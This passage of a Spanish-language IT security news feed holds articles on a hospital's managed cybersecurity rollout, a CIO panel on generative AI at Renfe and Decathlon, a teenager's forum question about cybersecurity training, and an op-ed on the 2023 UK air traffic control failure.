https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=441%2C360&amp;quality=50&amp;strip=all 441w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Carlos-Garcia.-Director-TIC-del-Consorcio-Hospitalario-Provincial-de-Castellon-.png?resize=306%2C250&amp;quality=50&amp;strip=all 306w" width="1024" height="836" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Carlos García Altarejos, responsable de Tecnología del Consorcio Hospitalario Provincial de Castellón.</strong></p>
</figcaption></figure><p class="imageCredit">Consorcio Hospitalario Provincial de Castellón.</p></div>



<h2 class="wp-block-heading">Vigilancia continua en un entorno 24/7</h2>



<p>Para abordar esta evolución, el Consorcio Hospitalario Provincial de Castellón desplegó un ecosistema integral basado en soluciones de la compañía Sophos, con monitorización continua y respuesta gestionada frente a amenazas.</p>



<p>El núcleo del proyecto ha sido el servicio MDR (Managed Detection and Response) 24/7, acompañado de <em>firewall</em> de nueva generación, detección en red (NDR), gestión de vulnerabilidades e integración con sistemas críticos como copias de seguridad y correo corporativo. “Hoy contamos con telemetría completa, priorización de vulnerabilidades y capacidad de detección continua. Hemos pasado de reaccionar a incidentes a anticiparnos a ellos”, resume García Altarejos.</p>



<p>De hecho, los resultados comenzaron a observarse en los primeros meses: el sistema procesó cerca de un millón de detecciones potenciales, con unas 50.000 escaladas y correlacionadas mediante inteligencia artificial, y permitió detener un intento real de ejecución de código malicioso sin requerir intervención del hospital.</p>



<p>Desde el punto de vista técnico, uno de los mayores desafíos fue proteger dispositivos y sistemas donde no era posible instalar agentes de seguridad. Según explica César Benítez, director de Ciberseguridad de la consultora TWT-TS, “había que mejorar la seguridad sin afectar en ningún momento a la continuidad asistencial”. Para ello se combinó monitorización del tráfico en red, agentes ligeros y despliegues progresivos cuidadosamente planificados.</p>



<p>La seguridad sincronizada del ecosistema permitió, además, correlacionar eventos entre <em>endpoints</em>, red y firewall, aportando una visión unificada del riesgo. “El valor real no fue solo tecnológico, sino estratégico: dotar al hospital de capacidad de anticipación y respuesta”, señala Benítez.</p>



<p>Para Emilio Gil, account executive de Sophos, este tipo de proyectos refleja un cambio profundo en la concepción de la seguridad sanitaria. “En un hospital la ciberseguridad no va de instalar un antivirus y olvidarse. Va de proteger personas, de garantizar que un quirófano no se detiene o que una UCI mantiene visibilidad incluso un domingo de madrugada”. Gil advierte, además, que el sector afronta amenazas cada vez más sofisticadas, con ataques dirigidos y <em>ransomware</em> orientado a maximizar el impacto asistencial. “Los hospitales no pueden permitirse ni una hora de caída, y eso los convierte en objetivos prioritarios”.</p>



<h2 class="wp-block-heading">Más allá del proyecto: una base para el hospital del futuro</h2>



<p>La ciberseguridad se ha convertido ahora en el cimiento sobre el que el hospital está construyendo su evolución digital. Entre los proyectos en marcha destacan la renovación de comunicaciones para cerca de 2.000 dispositivos, plataformas de inteligencia artificial, analítica avanzada, videovigilancia inteligente o sistemas de localización interna de pacientes. “Estamos en una fase de aceleración y profesionalización”, afirma García Altarejos. “No se trata solo de incorporar herramientas, sino de hacerlo de forma ordenada, segura y medible para que la innovación se traduzca en mejor asistencia y mayor eficiencia”.</p>



<p>La hoja de ruta incluye también reforzar la resiliencia tecnológica, mejorar la segmentación de red y avanzar hacia arquitecturas híbridas que permitan escalar capacidades sin perder el control del dato clínico.</p>



<p>En este contexto, la visión que García Altarejos tiene del hospital para los próximos años es clara: “Que la tecnología deje de ser un freno y se convierta en una ventaja clínica y operativa, siempre con la seguridad y la continuidad asistencial como línea roja”. En definitiva, se trata de disponer de un hospital “seguro por diseño, con segmentación madura, telemetría completa y respuesta gestionada 24/7 como estándar”. Además, contará con “un modelo de CPD más simple y con menos riesgo”, equilibrando cargas entre sus centros de datos para lograr alta disponibilidad real y reducir puntos únicos de fallo. También aspira a una mayor capacidad de cómputo para alojar plataformas propias de inteligencia artificial, manteniendo el control del dato clínico, así como aplicaciones y sistemas más interoperables, preparados para integrar servicios <em>cloud-ready</em> cuando aporten valor y con analítica e IA integradas en procesos clínicos y administrativos, midiendo su impacto en calidad, tiempos y eficiencia.</p>



<p>Más allá del caso concreto, la experiencia del Consorcio Hospitalario Provincial de Castellón refleja un cambio silencioso que ya se está produciendo en el sistema sanitario: la ciberseguridad ha dejado de ser un proyecto puntual para convertirse en una condición previa de cualquier innovación. Inteligencia artificial, analítica avanzada, interoperabilidad o medicina digital solo pueden desarrollarse sobre infraestructuras capaces de garantizar disponibilidad, integridad y confianza en el dato clínico.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Claves para dominar la disrupción: los CIO impulsan el negocio gracias a la IA generativa]]></title>
<description><![CDATA[Que la disrupción es constante y el cambio forma parte del día a día es una realidad cotidiana de muchos CIO, según expuso al arrancar el debate Fernando Muñoz, director de la comunidad de directivos de TI CIO Executive de Foundry España. Para los responsables de TI, esto significa que deben ir m...]]></description>
<link>https://tsecurity.de/de/3312189/it-security-nachrichten/claves-para-dominar-la-disrupcin-los-cio-impulsan-el-negocio-gracias-a-la-ia-generativa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3312189/it-security-nachrichten/claves-para-dominar-la-disrupcin-los-cio-impulsan-el-negocio-gracias-a-la-ia-generativa/</guid>
<pubDate>Thu, 26 Feb 2026 13:20:47 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Que la disrupción es constante y el cambio forma parte del día a día es una realidad cotidiana de muchos CIO, según expuso al arrancar el debate Fernando Muñoz, director de la comunidad de directivos de TI <a href="https://www.cio.com/es/executive-espana/">CIO Executive de Foundry España</a>. Para los responsables de TI, esto significa que deben ir más allá de la excelencia operativa y participar activamente en el diseño del negocio. Actúan en la intersección entre los negocios, la tecnología y las personas. El objetivo es impulsar la innovación mientras se mantiene la seguridad y la resiliencia. ¿Cómo se puede generar un impacto sostenible en un mundo en constante cambio? Para responder a esta pregunta, primero hay que entender la disrupción.</p>



<h2 class="wp-block-heading">Disrupción palpable</h2>



<p>En los últimos doce meses, lo que más ha cambiado es la experiencia del cliente, afirmó Rubén Martínez Sierra, director de Transformación Tecnológica de Renfe, el mayor operador ferroviario de España. La IA generativa, dijo, está cambiando el comportamiento de búsqueda y reserva. Por lo tanto, Renfe debe estar presente en ese ámbito, simplificar los procesos para el cliente y recopilar y proporcionar información en tiempo real. “Las TI deben comprender los problemas del negocio y garantizar la continuidad del mismo”, expuso.</p>



<p>Para Jordi Roda, director de estrategia digital de la empresa de equipamiento deportivo Decathlon España, el gran cambio producido en su organización ha sido la mentalidad de TI, que ha pasado de ser un proveedor de tecnología a un proveedor de servicios. Con el “cambio del modelo de distribución multicanal al omnicanal”, explicó, el área de TI ha tenido que hacerse más rápida y estar más conectada, de modo que la oferta pueda adaptarse de forma dinámica a las necesidades tan cambiantes de los clientes y del negocio.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?w=1024" alt="Jordi Roda, Chief Digital Officer beim Sportausrüster Decathlon, 16:9, slider" class="wp-image-4136114" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?quality=50&amp;strip=all 2500w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=300%2C168&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=768%2C432&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=1024%2C576&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=1536%2C864&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=2048%2C1152&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=1240%2C697&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=150%2C84&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=854%2C480&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=640%2C360&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Jordi-Roda-Chief-Digital-Officer-beim-Sportausruster-Decathlon.png?resize=444%2C250&amp;quality=50&amp;strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Jordi Roda (Decathlon España)</strong></p></figcaption></figure><p class="imageCredit">Frische Fotografie</p></div>



<h2 class="wp-block-heading">La próxima gran ola</h2>



<p>Con la expansión de la IA generativa, el negocio también debe seguir evolucionando, según el directivo Renfe. Sierra explicó que para medir la eficacia de las innovaciones en IA y seguir adelante con los casos de uso prometedores, la empresa de transporte establece indicadores clave de rendimiento (KPI) centrados en la eficiencia, los costes y la experiencia del cliente, con el fin de aumentar el grado de automatización. En este proceso, el “ser humano sigue estando en el bucle”: la IA propone y el ser humano decide.</p>



<p>En Decathlon España, contó Roda, se apuesta por la experimentación. Su equipo ha proporcionado a la plantilla una plataforma de IA que ésta ha acogido de buen grado para explorar posibilidades e identificar y descubrir potenciales de mejora. Las áreas de interés a las que debe adaptarse el área de TI son, sobre todo, la aplicación de los agentes al ámbito del comercio y a la búsqueda de información.</p>



<h2 class="wp-block-heading">Ejemplos de innovación</h2>



<p>Roda desveló un proyecto concreto que ha tenido éxito en Decathlon y está relacionado con los clientes. El proyecto consiste en ofrecer el producto adecuado, en el momento y con el precio adecuados. Gracias a éste la compañía puede efectuar cambios dinámicos de los precios todos los días. Aunque esto ha supuesto una cierta disrupción a nivel interno, Roda contó que el impacto en la experiencia del cliente ha sido muy significativo.</p>



<p>En Renfe, por su parte, idearon seis casos de uso durante una formación de varios días realizada a 200 empleados. Uno de ellos, que se implementó en unos tres meses, permite prevenir el vandalismo en los trenes. En función de datos meteorológicos y de los horarios, así como de información sobre eventos en las ciudades, se elaboran medidas para ahorrar tiempo en la limpieza de los trenes. Otro ejemplo que contó Sierra fue el desarrollo de un mapa en tiempo real de los trenes de cercanías.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?w=1024" alt="Rubén Martínez Sierra, Head of Tech Transformation bei Spaniens größter Eisenbahngesellschaft Renfe" class="wp-image-4136112" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?quality=50&amp;strip=all 2500w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=300%2C168&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=768%2C432&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=1024%2C576&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=1536%2C864&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=2048%2C1152&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=1240%2C697&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=150%2C84&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=854%2C480&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=640%2C360&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Ruben-Martinez-Sierra-Head-of-Tech-Transformation-bei-Spaniens-groster-Eisenbahngesellschaft-Renfe.png?resize=444%2C250&amp;quality=50&amp;strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Rubén Martínez Sierra (Renfe)</strong></p></figcaption></figure><p class="imageCredit">Frische Fotografie</p></div>



<h2 class="wp-block-heading">Mantener la resiliencia</h2>



<p>Para mantener la resiliencia ante todos estos cambios, Decathlon apuesta por una visión de TI modular. En este sentido, transformó el sitio web del comercio minorista de una arquitectura monolítica a una mezcla de un sistema central con módulos personalizables. Esto permite adaptar rápidamente los elementos, introducir nuevas soluciones y escalarlas rápidamente a nivel internacional.</p>



<p>Para Sierra, la clave está en el papel del CIO. Es importante, dijo, garantizar la estabilidad operativa, al tiempo que se mantiene la voluntad de experimentar y la cultura de ‘prueba-error’ del equipo. Si algo sale mal, subrayó, no se trata de buscar culpables, sino de comprender qué ha fallado y aprender de la experiencia para futuros proyectos.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?w=1024" alt="Fernando Muñoz, Director des CIO-Netzwerks von Foundry" class="wp-image-4136113" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?quality=50&amp;strip=all 2500w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=300%2C168&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=768%2C432&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=1024%2C576&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=1536%2C864&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=2048%2C1152&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=1240%2C697&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=150%2C84&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=854%2C480&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=640%2C360&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2026/02/Fernando-Munoz-Director-des-CIO-Netzwerks-von-Foundry.png?resize=444%2C250&amp;quality=50&amp;strip=all 444w" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p><strong>Fernando Muñoz (CIO Executive Foundry España)</strong></p></figcaption></figure><p class="imageCredit">Frische Fotografie</p></div>



<p>Roda también resaltó la importancia de que el equipo de TI tenga curiosidad. Para él, liderar significa animar a experimentar mientras se integran la tecnología y los negocios. La disrupción conlleva creatividad, ofrece espacio para el espíritu explorador, las mejoras y las experiencias. Lo más importante, apuntó, es que todos los miembros del equipo disfruten del trabajo.</p>



<p>Finalmente, Sierra, de Renfe, aseguró ver al CIO como un traductor entre los negocios y la tecnología. “Liderar significa comprender el negocio y a los clientes, cómo el área de TI puede apoyar al negocio y dónde se abren nuevas oportunidades comerciales”, indicó.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[universidad o autodidacta con 16 años de edad?]]></title>
<description><![CDATA[hola,tengo 16 años me gusta la cibeseguridad,haking la tecmologuia en si todo este mundillo, ya casi me voy a fraduar de la preparatoria aca en mi pais cuando entras a la prepa o mas conocido como grado 10 o/y 11 tines que eleguir una "tecnica" como algo en lo que te "especialisas" yo elegui sist...]]></description>
<link>https://tsecurity.de/de/3308503/linux-tipps/universidad-o-autodidacta-con-16-aos-de-edad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3308503/linux-tipps/universidad-o-autodidacta-con-16-aos-de-edad/</guid>
<pubDate>Wed, 25 Feb 2026 02:36:21 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>hola,tengo 16 años me gusta la cibeseguridad,haking la tecmologuia en si todo este mundillo, ya casi me voy a fraduar de la preparatoria aca en mi pais cuando entras a la prepa o mas conocido como grado 10 o/y 11 tines que eleguir una "tecnica" como algo en lo que te "especialisas" yo elegui sistemas ya que este mundillo me gusta desde pequeño siempre he aprendido por mi cuenta casi todo lo poco que se lo he aprendido yo solo </p> <p>con el trascurso del grado 10 y 11 las materias de la "tecnica" en sistemas no enseñaban casi nada o lo poco que enseñaban ya lo sabia hace tiempo y igualamente el ripmo de eneseñansa es MUY lento </p> <p>al ya estar a pocos meses de graduarme (eso espero) mis padres me an dicho que si voy a seguir estudiando, mi familia dise que estudie mis "amigos" tambien van a esdudiar con lo que me refiero a estudiar es a entrar a la universidad perooo ami no em combense mucho ese tema ya ques este mundo de la ciberseguridad,pentesting,etc mas que requerir un titulo se nesecitas que sepa de verdad entoces la universidad no me combense mucho y mas si es una universidad que pues no es la mejor de mi pais ya que pues nuestros recursos no son "ilimitados'" y el SENA pues no me combense casi nada o directamente nada realmente siento que si entro a la universidad no aprendere mucho </p> <p>hay es cuando averiguando un poco mas sobre cosas que le den algo de peso a mi hoja de vida di con las certificaciones y "cursos" de Offsec realmente no se si vale la pena la inversion o si vale la pena a mi edad y pues que tambien tengo y quiero aprender mucho mas talvez en un futuro vivir de eso por mi propia cuenta pero por ahora nesecito empezar mi vidad "adulta" a un que tenga 16 </p> <p>sobre que tanto se realmente no es mucho se Linux basico-medio se coasas basicas de ciberseguridad, redes,protocolos,como funciona un sistema que lo compone etc cosas basicas pero creo saber mas que mis "profesores" de la tecnica de sistemas </p> <p>ustedes que me recomiendan la universidad o aprender por mi cuenta y/o invertir el Offsec y cuantenme sus experiencias de formacion como pentesting,etc </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Even-Tiger6766"> /u/Even-Tiger6766 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1rdyy52/universidad_o_autodidacta_con_16_a%C3%B1os_de_edad/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1rdyy52/universidad_o_autodidacta_con_16_a%C3%B1os_de_edad/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[El CIO de dos empresas: la ideal y la real]]></title>
<description><![CDATA[El 28 de agosto de 2023, festivo en parte del Reino Unido y uno de los días más intensos del tráfico aéreo del verano, alrededor de 1.500 vuelos fueron cancelados. Aeropuertos colapsados, tripulaciones y aviones fuera de posición, pasajeros atrapados en conexiones imposibles por Europa, y un sect...]]></description>
<link>https://tsecurity.de/de/3307627/it-security-nachrichten/el-cio-de-dos-empresas-la-ideal-y-la-real/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3307627/it-security-nachrichten/el-cio-de-dos-empresas-la-ideal-y-la-real/</guid>
<pubDate>Tue, 24 Feb 2026 16:50:56 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El 28 de agosto de 2023, festivo en parte del Reino Unido y uno de los días más intensos del tráfico aéreo del verano, alrededor de 1.500 vuelos fueron cancelados. Aeropuertos colapsados, tripulaciones y aviones fuera de posición, pasajeros atrapados en conexiones imposibles por Europa, y un sector entero exigiendo respuestas. Aerolíneas como Ryanair elevaron la presión públicamente. La <a href="https://www.caa.co.uk/newsroom/news/aviation-regulator-publishes-independent-review-into-august-2023-nats-flight-planning-system-failure" target="_blank" rel="nofollow">autoridad regulatoria británica estimó después que el incidente impactó a más de 700.000 pasajeros</a>, con grandes costes para aerolíneas y aeropuertos. El detonante no fue una tormenta perfecta de eventos. El operador de control de tráfico NATS reveló que el incidente se originó por un plan de vuelo válido que incluía en su ruta dos <em>waypoints</em> o referencias de navegación fuera del Reino Unido que <a href="https://www.nats.aero/news/nats-report-into-air-traffic-control-incident-details-root-cause-and-solution-implemented" target="_blank" rel="nofollow">tenían el mismo nombre</a>.</p>



<p>Eso disparó una <strong>excepción crítica</strong>, y tanto el sistema principal como el de respaldo entraron en un modo de seguridad (<strong>fail-safe</strong> en inglés) para evitar presentar información potencialmente incorrecta a los controladores. El resultado fue inmediato: restricción de tráfico y pérdida de automatización, pasando a gestión manual.</p>



<p>En ese momento apareció la <strong>empresa real</strong>: la que no se ve en el comité, la que vive por debajo del PowerPoint y no capturan los KPI. En este incidente, lo que más tiempo consumió estaba fuera del guion: <strong>identificar el dato</strong> exacto, retirarlo de forma controlada y volver a operar con garantías.</p>



<h2 class="wp-block-heading">La organización quiere ver la empresa ideal</h2>



<p>En muchas organizaciones operan <strong>dos empresas</strong> a la vez. Por un lado, la empresa <strong>ideal</strong>: la que se define por <em>roadmaps</em>, KPI y narrativas impecables. Por otro, la empresa <strong>real</strong>: la de las dependencias, integraciones frágiles y excepciones. Es menos visible, pero es la que decide cuando algo falla.</p>



<p>El reto es que la organización quiere ver la empresa ideal, porque da <strong>sensación de control</strong> y facilita las decisiones. La empresa real, sin embargo, <strong>no es intuitiva</strong>: está distribuida, cambia con cada integración y no avisa cuando se degrada. Es fácil inclinarse hacia <strong>sesgos humanos</strong>, como la tendencia a infravalorar escenarios negativos hasta que se materializan. Por ejemplo, hace ya décadas, se acuñó el término “<strong><a href="https://es.wikipedia.org/wiki/Falacia_de_la_planificaci%C3%B3n" target="_blank" rel="nofollow">falacia de planificación</a></strong>”, que explica el patrón por el que los grandes proyectos se disparan de forma crónica tanto en coste como en plazo.</p>



<p>El CIO no escapa a esto. También está sometido a presión por entregar una narrativa de avance y por no ser percibido como freno.</p>



<h2 class="wp-block-heading">Cómo saber si las decisiones se toman desde la empresa ideal</h2>



<p>A pesar de estos sesgos, hay algunas señales que indican que hay un sesgo hacia la empresa ideal, perdiendo la conexión con la real.</p>



<p>La primera es cuando la <strong>hoja de ruta se reescribe continuamente. </strong>Si cada trimestre hay que cambiar la planificación, significa que el sistema vive en <strong>modo reacción,</strong> actuando desde la urgencia. Este modo de decidir no es lo mismo que incorporar metodologías ágiles, y puede llegar a confundirse.</p>



<p>Otra señal es el <strong>exceso de excepciones</strong>. Estas son inevitables, pero cuando se terminan convirtiendo en la norma son un síntoma de un problema de fondo. Si no se aborda, se empieza a generar <strong>deuda</strong>. Es decir, riesgos y costes que se van acumulando y terminan hipotecando las decisiones futuras.</p>



<p>Una señal contraintuitiva se manifiesta cuando los <strong>KPI son correctos, </strong>indican estabilidad y avance, pero al mismo tiempo, cada <strong>cambio</strong> supone un <strong>riesgo</strong> elevado. Esto apunta a que la dirección se siente cómoda con un determinado cuadro de mando, pero en realidad no está alineado con la realidad, y puede ocultar fragilidad y <strong>falta de confianza</strong>.</p>



<p>Por último, una señal culturalmente arraigada (y difícil de percibir) es cuando la <strong>continuidad se asume, pero no se pone a prueba.</strong> Es decir, cuando no existe un esquema periódico de prueba de los sistemas. Es fácil <strong>confundir resiliencia</strong> con la <strong>falta de eventos adverso</strong>s. Sin este entrenamiento, la organización cree que está preparada, hasta que llega un incidente.</p>



<h2 class="wp-block-heading">El mapa y el territorio</h2>



<p>Hay una distinción que ayuda a calibrar las señales y facilita un cambio de conversación: el mapa y el territorio.</p>



<p>El <strong>mapa</strong> es la <strong>representación</strong>: arquitectura objetivo, planes, KPI, comités y gobierno formal. El mapa es necesario, porque sin él no hay dirección.</p>



<p>El <strong>territorio</strong> es la <strong>operación: </strong>dependencias, integraciones, excepciones, capacidades reales de los equipos y coordinación. Es real y está vivo.</p>



<p>Cuando no se cuestiona ni actualiza el mapa, aparece una <strong>ilusión de gobierno</strong>: se gobierna la representación del sistema, no el sistema. La energía se concentra en demostrar orden mientras el territorio se vuelve más frágil sin que nadie lo vea a tiempo.</p>



<p>El caso del colapso aéreo en el Reino Unido muestra el choque entre ambos. El 28 de agosto era un día crítico para el sistema británico, y contaba con una dotación completa de personal. Y, aun así, una combinación atípica de condiciones obligó a operar en modo manual. En otras palabras: el mapa indicaba resiliencia; el territorio contó otra historia.</p>



<p>En ese escenario, la pregunta que el CIO necesita instalar es tan importante como incómoda: <strong>¿estamos gobernando el mapa o estamos gobernando el territorio?</strong></p>



<h2 class="wp-block-heading">Tres movimientos del CIO para que la empresa real no sea una sorpresa</h2>



<p>Para que la empresa se haga estas preguntas (y no sólo después de un susto), la clave no está en más <em>reporting</em>. Está en instalar <strong>hábitos de gobierno</strong> que hagan visible la <strong>distancia entre mapa y territorio</strong>: entre lo que se planifica y lo que realmente se puede sostener. A continuación, se presentan tres hábitos sencillos que hacen más visible el territorio:</p>



<p><strong>1) Definir la empresa mínima viable.</strong> Ese concepto, nacido en el ámbito de la resiliencia, consiste en elegir una columna dorsal de <strong>servicios críticos</strong> y describir sus <strong>dependencias</strong> clave, incluyendo terceros. A partir de ahí, se indica qué ocurre si se degradan y cómo activar un <strong>modo de contingencia</strong> que permita que la operación no se pare.</p>



<p><strong>2) Gobernar las excepciones.</strong> El objetivo es que dejen<strong> de ser un favor</strong> urgente y se conviertan en decisiones y aprendizaje de la organización. Para ello, cada excepción debe tener <strong>dueño</strong>, motivo, fecha de caducidad y una <strong>revisión</strong> programada. En la revisión se pueden plantear las opciones de salida: corregir la causa, renovar la excepción asumiendo su coste, o retirarla.</p>



<p>3<strong>) Institucionalizar un <em>reality check</em> ejecutivo</strong>. Se trata de establecer una <strong>revisión</strong> periódica de capacidades. Es decir, qué riesgos o fragilidades aumentan, qué dependencias nuevas aparecen y qué incidentes revelan territorio no visible. Y, al menos un par de veces al año, hace falta <strong>ensayar momentos de la verdad</strong>. Es decir, simular una disrupción, practicar el modo manual y comprobar si los procedimientos funcionan bajo presión.</p>



<p>En los próximos meses, el <strong>territorio va a cambiar</strong> con la entrada de <strong>agentes de IA</strong>. Habrá más integraciones, más presión por la velocidad y menos tolerancia al fallo. En ese contexto, el CIO tendrá que revisar el mapa.  </p>



<p></p>



<p><em>La próxima tribuna se centrará en una amenaza claramente externa y cada vez más determinante: la dependencia tecnológica. Es decir, cómo se crea de forma inadvertida y qué puede hacer el CIO para recuperar margen de maniobra sin frenar la ambición digital.</em> </p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Tuesday]]></title>
